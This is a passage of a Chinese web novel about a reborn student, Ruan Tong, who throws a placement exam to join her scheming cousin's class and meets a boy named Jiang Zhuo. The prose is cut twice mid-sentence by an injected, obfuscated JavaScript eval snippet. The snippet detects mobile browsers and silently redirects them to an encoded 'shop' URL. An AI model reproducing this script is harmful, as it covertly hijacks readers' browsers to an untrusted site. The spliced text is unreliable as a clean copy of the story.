虽然过了这么久,但她好像还记得她高中时候的一些小习惯。她的学生证不用时就会收进书包侧袋、次日要穿的校服会提前挂在衣柜最外侧、除了第二天早上吃早饭时要看的笔记以外,她会提前收拾好书包…… 阮瞳向来是个秩序感和规划性很强的人,善于利用所有碎片化时间。若是从前,走进学校后,她就会拿出便携式的单词本默背英语单词,又或者在脑中复盘前一天学习的内容和错题,将短短五分钟不到的路程填充得密不透风。 阮瞳曾经优异的成绩,固然有天赋的加持,但更重要的是她从不倚仗这份天赋,始终勤奋努力。 只不过,这一次,阮瞳没再试图去回忆任何单词和公式,她的目光掠过道旁郁郁葱葱的灌木丛,不禁陷入沉思。 早在001给她展示原著内容时,她就满腹疑惑,根本无法理解文颖的动机。 明明在她小时候,两家人是经常走动的,除了一般节假日的来往,文颖甚至会在平时旅游回来时,给她带许多伴手礼。有几次暑假,文颖还把阮茵茵送到阮瞳家里长住,让她带着阮茵茵一起玩。 然而,阮瞳现在再回想前一世和阮茵茵的接触,她不禁怀疑,对于文颖的所作所为,阮茵茵是否知情? 毕竟,她前一世借住在叔叔家里时,阮茵茵没少用那种微妙的神情看她。像是怜悯,又像是窃喜。然而,现在细想起来,她总觉得其中还夹杂着阮茵茵终于把她踩在脚下的畅快。 作为最终的受益者、原著的女主,阮茵茵这个所谓的“锦鲤”真的不知道她的好运气是从哪来的吗? 阮瞳觉得这个可能性极小。 虽然她对阮茵茵的了解还停留在小时候,停留在前一世为数不多的几次接触,但也知道阮茵茵喜好攀比、喜形于色,很多时候根本克制不住心里的情绪。即便勉强克制住上扬的嘴角,也掩饰不了眼底的窃喜。 阮茵茵那么多次的真情流露足以证明她的不清白。 既然这样,她把阮茵茵算在复仇对象里,应该不算过分吧? 阮锡安、文颖、阮茵茵,她一个都不会落下。 很显然,现阶段最好、最容易对付的就是阮茵茵。因为她和阮茵茵是同龄人、高中时期的阮茵茵更单纯好懂,更因为她们都在重点高中读书。 只不过阮瞳在竞赛班,阮茵茵却在普通班。 而阮锡安,虽然他中考的分数没有达到重点高中的分数线,但阮诚和文颖通过走关系的方式,硬是把他塞进了重点高中的普通班。他比阮瞳和阮茵茵要高一个年级,现在正处于关键的高三学年。 当然,这个关键只是对于其他高三学生而言,对于阮锡安,大概和高一高二没什么区别。 前一世,即便文颖严格监督他高三一整年的学习并控制娱乐时间,阮锡安最后只考上个二本院校,让一向喜欢在亲戚面前立人设的文颖丢尽了脸面。 这一次,有她的干预,不知道阮锡安还能不能考上文颖曾经嗤之以鼻的二本院校呢?反正对他那样的人渣而言,学历反而是最不重要的。 至于阮茵茵…… 既然阮茵茵事事都想与她争个高下,那她便给阮茵茵这个机会。只不过,如果还和以往一样,隔着班和班的距离,怕是不太好比。 阮瞳清楚地记得分了文理科后,阮茵茵一直都在理科七班,那她干脆就考到阮茵茵所在的七班。 只有在一个班上,才能看出到底谁优谁劣,谁才是……那个伪劣品。 等阮瞳到教室时,班上已经来了不少人。她凭记忆走到教室中间第五排的位置时,邻座的女生抬头看了她一眼,很快又低下头继续背着古文。 看她的反应,阮瞳确定她没走错位置。同桌不咸不淡的反应并不奇怪,毕竟在竞赛班,大家的心思都放在学习上,交友反而是次要的。 她和同桌性格不合是一方面,更重要的是这个时候的阮瞳,在母亲温晚的洗脑下,心里只有学习。对于任何可能影响她学习的事情,她都远而避之。因而,高一一整年,她在班上都没有什么交好的朋友,反而因为长相和身材遭到一些女生的非议和排挤。 不过,一心只有学 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偏偏是七班,不太好把握分数的区间。考高了会去五班或者六班,考低了会直接去最末尾的九班。 阮瞳在脑海里思索起关于阮茵茵高中成绩的记忆,总算想起高二这年吃团圆饭时,文颖在餐桌上似乎抱怨过阮茵茵暑假光顾着玩,没心思复习,结果分班考试只考了那么点分数。 获得想要的答案后,阮瞳收敛心神,将保鲜袋团成一团丢进教室后面的垃圾桶里,她大概知道要考多少分了。 分班考试中,阮瞳唯独没有在英语上藏拙,对于这门她曾经接触将近十年、已然成为她一部分的语言,阮瞳实在难以忍受她故意答错。 不过,也不仅仅是因为这一点。 阮瞳想起,前一世,文颖在好几次家庭聚会时,都曾经若有若无地炫耀过阮茵茵的英语成绩,说她还参加了英语竞赛。虽然阮瞳记不得阮茵茵的具体成绩,但大概能猜出英语是阮茵茵的拿手科目。 既然如此,那她更要在阮茵茵擅长的领域,发挥全部的实力。 整套英语试卷写起来几乎是得心应手,等她写完作文时,甚至还多出二十多分钟。阮瞳默默估算着分数,除去主观题可能会被扣的分,满分120分的卷子,她应该能考115分以上。 至于语文和数学,除了本来就已经忘记的默写内容和选择题以外,一些她会的阅读理解题目,阮瞳也不得不往偏得不能再偏的方向作答。 都是为了平衡语数英三门主课的总分。 物理和化学这两门,阮瞳倒是不用特地去控分。因为这两门,她是真的忘得差不多了,只记得最基础的自由落体运动、平抛运动和元素周期表。因而,除了一些简单的常识和化学方程式配平以外,只能看哪个选项顺眼选哪个。主观题就把题目里的条件凝练一下,或者干脆直接空着。 虽然历史、生物、政治和地理会得比物理和化学要多,但阮瞳也没有写太多。写多了,她怕分数太高,直接分到其他班去。 等分班考试结束,回忆起每个学科大致的内容的同时,阮瞳不得不承认,摆脱原著的降智光环后,她感觉整个人都清醒了很多。不再像前一世的高三,明明她看到题目是有思路的,但真要动笔时,她总觉得浑浑噩噩,不知从何入手,要花好几倍的时间才能做对题目。 现在的头脑清明、触类旁通,是曾经的她无比怀念的状态。这个时候的她,注意力、记忆力和学习能力都在峰值。 5. 家庭冷暖 周五傍晚。 随着最后一门考试结束的铃声响起,阮瞳合上笔帽、收拾好文具,安静地坐在座位上,看着最后一排的同学从后往前将答题纸收齐,交到讲台处。 分班考试暂时告一段落,但阮瞳心里没有轻松半分,她知道,是时候面对悬而未决的家事了。 昨天中午回家时,阮瞳发现母亲温晚并不在家。听王阿姨说,温晚和几个朋友去泰国旅游,要过些日子才会回国。 得知这个消息时,阮瞳不自觉松了口气,她还没想好应该怎么面对温晚。 阮瞳对温晚的感情很复杂。 她始终记得,在阮戚风创业初期,他们一家三口只能住在城中村的出租屋里。只有主卧装了空调,她的床就紧挨着父母的床。有时候为了省电,空调会在半夜自动关闭。她偶尔热醒时,朦胧中会看到温晚坐到她的床边,就着床头微弱的台灯光亮,轻轻摇着蒲扇替她驱赶蚊子,面容温和地看着她重新陷入睡梦。 前一世,因为这份刻在记忆里的温柔和原著对她的限制,阮瞳从来不曾真正记恨过温晚,更不曾深究她到底是什么时候背叛了家庭。 然而,对于现在的阮瞳而言,在经历了无数个孤独难眠的夜晚后,那份遥远的温情早已消磨殆尽。 或许,温晚真的爱护过她,可这份爱太过脆弱。否则,她怎么会在阮戚风事业出现危机时,毫不犹豫地离婚,抛下孤助无援的她,和别的男人远走高飞? 现在回想起来,阮瞳发现一切早就有迹可循。 前一世,在阮瞳念初中时,阮戚风的事业逐渐风生水起,家里的条件改善了不少,但温晚和阮戚风之间的争吵却骤然增加。阮戚风不想让阮瞳知道大人之间的纷争与不和,而温晚恰恰相反,她常在争执时将阮瞳拽到身边,声泪俱下地控诉阮戚风的不作为。 每逢此时,阮戚风总会沉默地让王阿姨带走阮瞳,也正因如此,阮瞳至今无从知晓他们争吵的具体原因。 自那以后,温晚就很少出席学校组织的亲子活动和家长会,连节假日也常在外“与朋友聚会”。 即便是偶尔在家,温晚只会对阮瞳进行不间断的思想灌输,她总是暗示阮戚风心里只有公司,从来不懂得关心家人,是个失败的父亲和丈夫。有时候,她甚至会和阮瞳说,她怀疑阮戚风在外面有女人,所以总是借口出差,不愿回家。 久而久之,阮瞳也就信了,在和阮戚风相处时,总是态度疏离淡漠,仅仅维持着最表面的父女礼仪。她好像全然忘记了曾经的阮戚风会在每次出差回来时,给她带不同的礼物,忘记了阮戚风总是让年幼的她骑在肩膀上玩耍…… 在阮瞳考上重点高中后,温晚更是奉行“成绩至上”,严格限制她平日的交友和娱乐。一旦阮瞳的成绩稍有下滑,等待着她的就是无止境的指责和失望的眼神。 因此,阮瞳的心里渐渐变得只有学习,她不再在意是否在学校交到朋友,不再在意阮戚风有没有回家…… 至于阮戚风,或许是因为前世的阮瞳足够“优秀”,从不需要他额外操心她的学业,他慢慢习惯了这种疏离的相处模式。他会在节假日和她生日时,给她转一笔数额不菲的钱,以为这就是表达关爱的方式。 然而,这些钱大多数并没有留在阮瞳手里。 温晚总是能第一时间知道,然后以“你还小,妈妈先替你保管,等你成年了再给你”为由,轻松地将钱转走。那时,阮瞳虽然觉得有些别扭,但并未深想,毕竟温晚平时给她买衣服和零食也从不吝啬。 直到温晚与阮戚风离婚,和别的男人远走高飞,她似乎都不曾想起她手下还有这么一笔数额不菲的保管金。 …… 恢复自我意识后,阮瞳不得不承认她眼中曾经温柔的母爱早在不知不觉中变了质。 想到这里,阮瞳心中泛起一阵酸涩。她很想告诉自己,温晚首先是独立的个体,然后才是她的母亲。父母婚姻的成败,根源在于他们自己,作为子女,她无权也无力干预过多。 然而,一想起曾经那个孤助无援、只能蜷在角落哭泣的“阮瞳”,阮瞳明白,她根本无法用这种理由说服自己,更不能轻易原谅温晚的抛弃。温晚所带来的伤害,远比文颖和阮锡安带来的更重、更深,是永远无法化解的。 不过,现在温晚远在国外,阮瞳不想在她身上耗费过多心神。 现在更重要的是要如何让她那个素来重视家庭和睦、顾全兄弟情面的父亲发现文颖暗藏的祸心呢? 天时、地利、人和,缺一不可。 阮瞳清楚,仅凭现在的她,很难彻底扳倒文颖。贸然行动只会打草惊蛇,阮戚风不会因为她的一言两语就轻易怀疑文颖,反而会怀疑她受了什么刺激,甚至转头去询问文颖。 这绝不是她想看到的局面。 阮瞳需要更多的时间,捋顺思路。 好在,距离文颖采取行动还有大半年的时间,而眼下,她的首要目标是阮茵茵。 周六,阮戚风在家休息。 见阮瞳下楼,正靠在沙发上看文件的阮戚风抬起头,温声问道:“瞳瞳,分班考试考得怎么样?” 和温晚曾经说的一样,阮戚风平日工作繁忙,不出差的日子里,也要到深夜才会回家。 重生回来后,这是阮瞳第三次在家里看到他。 然而在几次短暂的接触里,阮瞳意外地发现,阮戚风对她的关心并不少,语气甚至带着几分小心翼翼的试探,全然不似寻常父女间的自然。 意识到这一点后,阮瞳心头五味杂陈。 此时,王阿姨在院子里浇花,客厅里只剩下她和阮戚风。面对这久违的独处,阮瞳有些无所适从,又格外珍惜,她压下心底翻滚的情绪,语气平稳地回道:“估计不太理想。” 说罢,阮瞳转身走进厨房,从冰箱取出王阿姨手作的脆皮雪糕,说出了她事先想好的理由:“考试的时候头昏昏沉沉的,这次恐怕得去普通班了。” “感冒了?”阮戚风立刻放下手里的文件,眉头不自觉地簇起,“怎么还吃雪糕?” “现在已经没事了。”阮瞳咬下一块裹着巧克力脆皮的雪糕,寒意瞬间在口腔弥漫开来,也让她纷乱的心绪稍稍沉静下来。等回头望向阮戚风时,她面上的表情已然恢复到以往面对阮戚风时的淡然,“爸,你不用太担心。” 阮戚风嘴唇动了动,话在嘴边辗转几道,最后只化作一句干涩的叮嘱:“不要贪凉,空调温度调高点。”他错过了阮瞳太多的成长时刻,如今想要弥补,却连关心都如此笨拙,更怕过多的叮嘱会惹得正值青春期的阮瞳不喜。 “好,我知道了。”阮瞳从厨房倒了杯温水放在阮戚风面前,她没多说什么,离开客厅时,只留下一句,“那我回房间看书了。” 作为曾在职场历练两年的成年人,阮瞳自然能理解阮戚风以前的无可奈何。重新见到前世下落不明的父亲,她心里亦是充满失而复得的喜悦,她何尝不想和阮戚风更亲近些? 然而,阮瞳知道,无论是对于心存愧疚的阮戚风,还是对于阮戚风心中那个别扭、疏离的“阮瞳”,破冰,都需要时间。 * 回校前,阮瞳仔细翻阅了她高一的笔记和课本。她不得不感叹她高一时的刻苦勤奋,笔记和错题集条理清晰,重点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923948|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突出,完全可以作为复习提纲使用。 她只是顺着曾经的思路走一遍,那种熟悉的学习状态就渐渐回来了。 前世的她,即便气运被窃、被原著强行加上降智光环,仍能在竞争激烈的高三学年里,将成绩保持在年级前列。如今,重新取回属于她的能力后,理解和记忆能力更是远超从前。 在分班考试的结果出来前,她已经将所有笔记都翻了一遍。 周日下午。 学校只安排学生回校确认分班结果并到新班级报道,没有安排上课和晚自习,所有人只需要在两点半前抵达新班级即可。 阮瞳下楼时,有些意外在餐桌前看到阮戚风。没等她细想,就见阮戚风放下手里的咖啡,望向她:“瞳瞳,方老师刚刚打电话,说你成绩不太理想,来问问情况。” 阮瞳很快反应过来,阮戚风提到的方老师是竞赛班的班主任。她成绩下滑这么多,班主任会关心她的成绩在她的意料之中。好在,她早和阮戚风说是因为身体不舒服,即便班主任询问,阮戚风也有理由解释。 阮瞳停在餐桌前,从容地拈起果盘里洗得干干净净的车厘子,“方老师说我分去几班了?” “七班。需要爸爸再和老师沟通一下吗?” 平日里,有妻子温晚管着阮瞳,他一向不多过问阮瞳的学习。只是,从竞赛班掉到普通班,阮戚风难免担心阮瞳能否适应。 “不用。”阮瞳摇摇头,用湿巾擦干手指上残留的汁水,语气温和,“我们学校的老师都很好,教学水平也没差别。在七班我一样能学得很好。” 阮戚风微微一怔,他注意到阮瞳和他说话时的态度,不再像以往那样淡漠,让他无从接近。 再三确认阮瞳的神情并不勉强,萦绕在阮戚风心头的担忧终于消散几分。他沉吟了片刻,终是缓声道:“好,爸爸相信你。不过,如果在七班有任何不习惯,一定要告诉爸爸。” “好,那我出门了。” 虽然已经知道分班结果,但走到教学楼时,阮瞳还是在贴着分班结果的告示板前停下了脚步。 名单上只有班级和姓名,并没有每个人具体的成绩。 阮瞳一眼就在七班的名单上找到了她的名字,而阮茵茵的名字则在她前面几行里。她心下了然,看来除了英语,其他科目的分数都控制得恰到好处。 她的名字安静地落在七班中下游的位置,一个不起眼,甚至会让人掉以轻心的位置。 就在阮瞳准备移开目光时,她的视线倏地一顿,牢牢停在分班名单的某个位置上。 姜酌。 这么罕见的名字,应该不会是同名。 会是他吗?是那个义无反顾挡在她身前的人吗?他当时究竟为何会出手相助? 阮瞳原本以为要在偌大的校园里找到姜酌,会是一件很困难的事情,但她没想到,她仅仅是改变了分班考试的结果,就这么轻而易举地找到了他。 原来,他们不仅是校友,更是同一个年级的。 可前一世,她竟然对姜酌这个名字毫无印象。不过,一想到前世的她一心扑在学习上,一切又情有可原起来。 原来,他们离得这样近,或许早就在校园的某个转角擦肩而过,她却不曾留意过。 只是…… 一想起成年后的姜酌居然用着那张手机壁纸,阮瞳的睫毛止不住轻颤起来,她深吸一口气,又深深看了眼他的名字。 或许,对于这个时候的姜酌而言,她不过是个素未谋面的陌生人,但她一定会找到机会,看清他究竟是一个怎样的人。 这一次,就让她主动找到他吧。 6. 遇见姜酌 等阮瞳走到高二七班所在的三楼时,时间刚好两点二十。 和空旷的楼道不同,三楼走廊仍沉浸在假期结束所特有的松弛和喧嚣之中。许是老师还没到教室,不少男生正倚着栏杆说笑,姿态轻松自在。 光是看走廊,就能品出竞赛班和普通班的不同。 竞赛班所在的二楼,走廊永远是静谧的,偶尔会看到争分夺秒、匆匆而过的身影。他们的目的地不是教师办公室,便是走廊尽头的卫生间。 另一方面,竞赛班和普通班的学生在遵守校规方面也大有迥异。校规里,学生染发、戴耳钉、化妆都是禁忌。因为教导主任一直严抓竞赛班的纪律,竞赛班的女生无一不是素面朝天,无论长发短发,都要别至而后,露出完整的脸庞。男生则不能留过长的头发,连夏季校服领口的纽扣都必须扣到最上面。 竞赛班的班级气氛永远是压抑、安静的。相比之下,普通班所在的楼层,似乎连空气都多了些自在,让她不由得放松下来。 当阮瞳出现在走廊时,原本喧闹的走廊倏地安静了下来,几道目光不约而同地落在她身上。 阮瞳生来一副好骨相,即便不施粉黛,形状姣好的眉眼和脸型也足够引人注目。码数正好的蓝白校服穿在她身上格外妥帖,非但不显臃肿,反而衬得她脖颈修长,气质干净。 走廊上不乏认识阮瞳的男生,他们不禁窃窃私语起来,显然是想不通竞赛班的翘楚为什么会背着书包出现在三楼走廊。 阮瞳没有理会那些视线,她径直走到七班教室的窗边,下意识寻找着某道人影。 按理说来,虽然隔了将近十年,但姜酌的长相和身形不会相差太多。然而,阮瞳快速扫视了教室一圈,并没有看到他。 是她猜错了?这个“姜酌”只是恰好和她记忆里的姜酌同名同姓?还是说,他还没到教室? 很快,阮瞳便发现她无暇细想姜酌的事。因为,教室里还空着的座位不多了,只剩下靠窗第二排和第五排的座位。 只一眼,阮瞳心中便有了抉择。 收回视线时,阮瞳恰好看到教室正中间的某个人影,原本温和圆润的杏眼瞬间凌厉起来。 阮茵茵俨然坐在教室正中间第三排的位置。 重点高中有个不成文的规矩。无论是竞赛班还是普通班,坐在教室正中间第三排和第四排的学生,要么是成绩优异的学生,要么就是在班级颇有影响力的学生。 坐在座位上的阮茵茵留着过肩的长发,普通班管制不严,她没有将头发扎起,而是用精致的发绳扎了半丸子头。她体型娇小,长相算不上出众,但她别出心裁地改了宽松校服的腰线和肩宽,用清透的裸感妆容掩饰肤色和五官的缺陷,在素颜居多、不善打扮的高中生里,居然能算得上标致。 教室里,两个男生正围在阮茵茵的座位旁,满脸雀跃地和她说着话,逗得阮茵茵笑得肩膀直颤。 在阮茵茵注意到她之前,阮瞳面色平淡地收回视线,看起来,高二七班有不少人来自原来的高一七班,而阮茵茵在班上的人缘远比她想得要好上许多。 阮瞳没在门口多做停留,她走进教室,最后停在第五排靠窗的座位前。 “请问,里面的位置有人吗?”阮瞳轻声问。 扎着低马尾的女生抬起头,看清阮瞳的相貌时,她的眼睛瞬间亮了一下,“没人没人,快请进!”她非常热情地站起身让出空间。 阮瞳刚坐下,还没来得及将书包挂在椅背上,女生便迫不及待地从书包里摸出一包零食,越过课桌的三八线,递向阮瞳,“吃薯片吗?最近刚出的新口味,超好吃的!”说着,她话一顿,语气带上一丝懊恼,“啊,抱歉!忘记自我介绍了。我叫元曦曦,以前是八班的!” 元曦曦自来熟的性格让阮瞳不由得一愣,她看起来格外热情、坦率、真诚,有着独属于这个年纪的女孩子的活泼和憨态可掬。即便面对她这样的陌生人,也能迅速打开话匣子。 前一世,自从家庭剧变,阮瞳一心打听阮戚风的下落,无心交际,大学四年都没有特别交好的朋友。等到读研和工作时,她早就习惯了一个人,更是没有与人交往的念头。 她从来没有遇到过元曦曦这样的女生。 阮瞳手指蜷缩起来,在元曦曦的注视下,她接过薯片,抿了抿唇,“谢谢。我叫阮瞳,以前是一班的。” 听清阮瞳的后半句话时,元曦曦继续掏零食的手瞬间僵住,她瞪圆了眼,“一班?!你怎么会从一班考到七班?!你是不是考试的时候睡着了?” 饶是心有疑虑的阮瞳都被她夸张的反应逗笑,她捏着薯片包装袋,唇边的梨涡若隐若现,“马有失蹄,人有失足嘛。” 看着云淡风轻、半点失落都没有的阮瞳,元曦曦不免咂舌,她斟酌着语气问道:“从竞赛班到普通班,不会有落差感吗?” 元曦曦不是第一个表现出这种疑虑的人。 返校前,不止阮戚风,就连王阿姨都跟她确认了多次,所以,再被问到这个问题时,阮瞳的回答已经自然许多。 “为什么会?普通班也很好,只要够努力,不管在哪里都会进步。” “这倒也是。”元曦曦若有所思地点了点头,虽然比不上进步明显的其他人,但她不也是从八班升到了七班吗?进步一点点也很厉害了! 只是,虽然她认同阮瞳的说法,但不代表其他人也会友好地对待这位从竞赛班跌落的学霸。 据元曦曦所知,他们这个高二七班,大部分的学生都来自原来的高一七班,像她和阮瞳这样的从其他班转进来的,不过零星几个,还是从六班或者八班转来的。 而原来七班的学生里,有好几个人一直看不起阮瞳这样的好学生,更不用提还是发挥失常才进了七班的…… 还不知道阮瞳会被他们怎么嘲讽。 元曦曦唇瓣微张,面上闪过一丝犹豫,她凝视着身旁这个香香软软的新同桌,还没想好该怎么提醒她,便听到讲台处传来动静。 是班主任来了。 噪杂的教室顿时安静下来,阮瞳和元曦曦没再说话,默契地抬头望向教室前方。 一头长发利落盘在脑后的女人在黑板上写下“梅鸣”两个字后,转身望向教室里的学生,“各位同学,你们好,我是你们的班主任梅鸣,同时担任你们的语文老师。欢迎大家来到七班。” 梅鸣的目光缓缓扫过教室,在注意到后排空着的几个座位时,被眼镜框遮住的眉毛微皱了下,她抬手看了眼腕表,继续往下说:“看来不少同学都留在了七班。不过,也有一些新面孔。” 阮瞳明显感觉到班主任梅鸣说后半句话时,视线在她身上短暂停留了片刻。她不知道的是,在分班结果出来后,竞赛班的班主任方老师不仅联系了阮戚风,还联系了梅鸣,让她多关注阮瞳的情况。她担心阮戚风没有说实话,更担心阮瞳是不是发生了什么事情。 梅鸣说话时,阮瞳听得格外认真,毕竟不是每个人都有重回高中、重新开始的机会。既然001给了她这次机会,她就要牢牢抓住,用心去感受周围的一切,尽快重新融入到高中生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923949|192689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活中。 很快,梅鸣的讲话便接近尾声,“无论分班考试是好是坏,希望大家以七班为原点,继续努力。” “报道。”教室门口响起的男声打断了梅鸣的话。 想到教室里还空着的座位,阮瞳心里微动,隐约有了猜测。 阮瞳跟着众人的目光一同望向教室门口,她的视线掠过刚才说话的男生,望向他身后沉默的身影。就在看清那张脸的瞬间,阮瞳的呼吸一滞。 果然和她预想的一样,只要一眼,她就能认出来。 虽然少年的脸庞还带着几分未褪尽的青涩,身形也不如十年后那般宽厚健硕,但那对剑眉星目,以及眼尾那颗独一无二的痣…… 不是同名同姓,真的是她在001所展示的未来里看到的姜酌。 只是……前一世,她在竞赛班,姜酌在七班,两个人毫不相干,姜酌为什么会认识她?还能在十年后一眼就认出她? 阮瞳来不及细想,就见班主任梅鸣将手里的粉笔扔进盒子里,语气颇有些恨铁不成钢,“裴子逸,姜酌,蒋劲!你们看看几点了?” 听起来,这并不是梅鸣第一次教他们。她说话时,语气虽然严厉,但并没有真的带着怒意。 裴子逸一手抱着篮球,一手用衣领擦着颈侧滑落的汗水。他看了眼教室墙上的挂钟,胡搅蛮缠的能力一流,“老班,别生气啊。这不是没注意时间嘛!就迟到十分钟而已!” 站在姜酌身后的蒋劲有眼力见地配合道:“老班,我们下次一定不会再犯了!” 已经教了裴子逸他们一年的梅鸣还能不了解他们?半大的小伙子,嘴里总没几句能信的话。 梅鸣不想在报道的时候浪费时间,她挥了挥手,“还不快点回座位上。” “谢谢老班!” 见裴子逸瞬间嬉皮笑脸,梅鸣眉头一跳,“待会你们三个去搬书。” “不要这样哇!我们哪里搬得了那么多书!”裴子逸的眉眼瞬间耷拉下来,他边走边双手合十冲梅鸣求饶。 见到裴子逸这副模样,班里好几个女生忍不住低笑出声,就连梅鸣都忍俊不禁,干脆眼不见心不烦,低头整理起讲台上的纸张。 阮瞳眼观六路地观察着班上的女生,虽然她的座位比不上最后一排能够一览众山小,但也足够她将班上女生的反应尽收眼底。 先不提姜酌,方才言语诙谐、活宝般的裴子逸偏偏生了一双桃花眼,睫毛长而密,眼尾稍向上翘。不笑时,那双桃花眼也水光潋潋,看起来是他们这个年纪的小女生会心生好感的类型。 跟在裴子逸身后的蒋劲给人的感觉乍一看和姜酌有些像,但仔细一看便能发现区别。他留着寸头,五官英挺硬朗,肌肤是健康的小麦色。他比姜酌要开朗许多,往座位走的功夫里,还能和裴子逸插科打诨两句。 至于姜酌,虽然他没有开口说过一句话,但阮瞳敏锐地察觉到,班上大部分女生的视线不约而同地落在他身上。 无疑,姜酌有着不同于裴子逸和蒋劲的吸引力,即便他安静地隐匿在裴子逸和蒋劲之间,也让人完全无法忽视他。 一头利落短发下,剑眉浓黑,眉骨突出,投下的阴影让那双黢黑的眼眸显得格外深邃。他鼻梁高挺,不说话时,淡色的薄唇习惯性地抿着,透出一股冷峻和淡漠。宽松的蓝白校服掩不住若隐若现的肩背肌肉,袖口下露出的手臂更是微微绷紧,青筋凸起。 阮瞳不动声色地收回视线,指尖抚摸着木制课桌的纹路。 他似乎和十年后的姜酌很不一样。 7. 选举班委 除了报道和领书,下午还有一项重要事项。 选举班委。 梅鸣从文件夹里取出成绩单,“还和以前一样,想竞选班委的同学主动介绍一下自己。如果有重合的,由其他同学投票决定。”成绩单上,被方主任格外关照的阮瞳被单独打上了一个圈。 阮瞳对当班委不太感兴趣,便没有掺和进去。她支着下巴,漫不经心地听着竞选班委的同学自我介绍。 让她意外的是阮茵茵也竞选了班委,还是班长。和她记忆里沉默寡言的模样不同,阮茵茵在学校时,明显开朗许多。 阮茵茵起身走向讲台时,坐在她身后的男生硬是顶着梅鸣如有实质的凝视,低声为她加油。 听到他的声音,阮茵茵侧过头,冲他甜甜一笑。她脚步轻快地走到讲台上,深吸一口气后,流利地背起提前写好的发言稿,“大家好,我是来自高一七班的阮茵茵,很高兴可以和大家分到同一个班级!今天,我想竞选的班委是班长……”为了增加互动感,阮茵茵边说边缓缓望向讲台下方。 直到,阮茵茵的目光猝不及防地撞上那双波澜不惊的眼眸。 阮瞳?! 她怎么会出现在七班? 阮茵茵的大脑一片空白,原本流畅的自我介绍瞬间卡壳。即便她第一时间反应过来,努力接了上去,方才的停顿和慌乱已经让她的表现大打折扣。 说完竞选宣言,阮茵茵匆匆鞠了躬,逃一般地走下讲台。等她在座位坐下时,原本干燥的掌心已是一片汗湿。 阮茵茵控制不住地用余光瞥向左后方,心里惊魂不定。以阮瞳的成绩,她怎么可能会到七班?到底发生了什么? 然而,这份猜忌很快便被深深的恐惧压了过去。 她好不容易凭借大方阔绰的手笔和心机十足的伪素颜在七班混得如鱼得水。如果在这种时候,让班上的同学知道她和阮瞳是堂姐妹,她岂不是又要沦为衬托阮瞳的绿叶? 阮茵茵再也不想活在阮瞳的阴影之下。 小时候,阮瞳对她是不错。逢年过节总是带她玩、给她买吃的,可那又怎样?这些小恩小惠难道就能抵消她这些年被当做陪衬的屈辱吗? 每次聚餐,那些亲戚只围着阮瞳阿谀奉承,夸她的长相、性格和成绩。说到底,不就是想通过讨好阮瞳,从阮戚风手里讨点好处吗? 阮茵茵真的受够了。明明……阮瞳所拥有的一切,原本都应该属于她。 纷乱的思绪让阮茵茵一时无暇细究阮瞳出现在七班的原因,她本能地想要寻求慰藉。在班主任梅鸣低头时,阮茵茵侧头望向教室后排的某个座位。 然而,她最在意的那个人,自始至终都低着头,似乎完全没有注意到刚才台上发生的小插曲。 失落瞬间压过了阮茵茵心中所有的思绪,她咬住下唇,被刘海遮住的双眸中闪过一丝不甘。 为什么他总是看不到她? …… 一直留意着阮茵茵动静的阮瞳没有错过她的目光,阮瞳若有所思地瞥向阮茵茵刚才望向的方向。 看来,原著里一笔带过的阮茵茵的那位暗恋对象,就在七班。 班委竞选很快到了尾声。 原本,梅鸣想着没有人竞选学习委员的话,就点名让阮瞳担任。然而,在看到认真学习的应汀竞选学习委员后,她便放弃了这个念头。 班长最后落在了票数远超另外两人的管樱身上。她个头娇小,体型偏瘦,留着简单的蘑菇头短发,黑框眼镜遮住了她大半张脸,是典型的好学生长相。更重要的是,她高一的时候就担任过七班的班长。即便阮茵茵人缘不错,大家也更倾向于把票投给“有群众基础”的管樱。 阮瞳的新同桌元曦曦也竞选了班委,只不过是不显眼的文艺委员。在阮瞳的印象里,高中的文艺委员主要负责的是班级教室后面的黑板报。想来,元曦曦在这方面是有特长的。 班委人选确定后,只剩下领书这件事。 梅鸣不至于真的只让裴子逸、姜酌和蒋劲三个人去领所有课程的课本,她一声令下,班上的男生倾巢而出,三三两两凑在一起,往办公室走去。 在这期间,梅鸣根据选班委时填好的座位表,逐一安排着班级和包干区的值日表。 许是这个时候领书的人太多,班上的男生去了许久都没回来。 等梅鸣排好值日表时,她看了眼腕表,马上就是高二教职工开会的时间。 “班长,一会你和副班长组织一下班上同学领书,都领完书就可以回去了。” “好的,老师。” 一切安排妥当后,梅鸣拿着东西离开了教室。 她刚出教室没多久,原本安静下来的教室又顿时嘈杂起来。好在,这一层其他班基本上也是这样,倒不会显得七班太过突出。 “阮瞳,一会放学要不要一起走啊?”元曦曦主动开口问道。 元曦曦早就发现,和她一样从八班考到七班的人,是她以前不怎么来往的同学。与其向他们搭话,还不如和她新认识的香香软软的同桌在一起。 “好,你不骑车吗?”和元曦曦多说几次话后,阮瞳渐渐习惯了她的自来熟。 元曦曦摇了摇头,“我家就在学校北门附近,过个马路的事。” 没过多久,班上男生就陆陆续续抱着书回到了教室。 在管樱的指挥下,所有的课本被分门别类地放在讲台上,每门课目的书都摞了老高一层。 大概是想快点领完书回家,没等管樱开口,坐在前排的好几个女生就迫不及待地窜出座位,跑到讲台边。 管樱簇起细眉,望向挤在最前面的人,“挤什么?排队!” 副班长陈修然凭借高大的体格挡在讲台前,和管樱一起维持着领书的秩序。 很快,过道两边排起了两条长队。 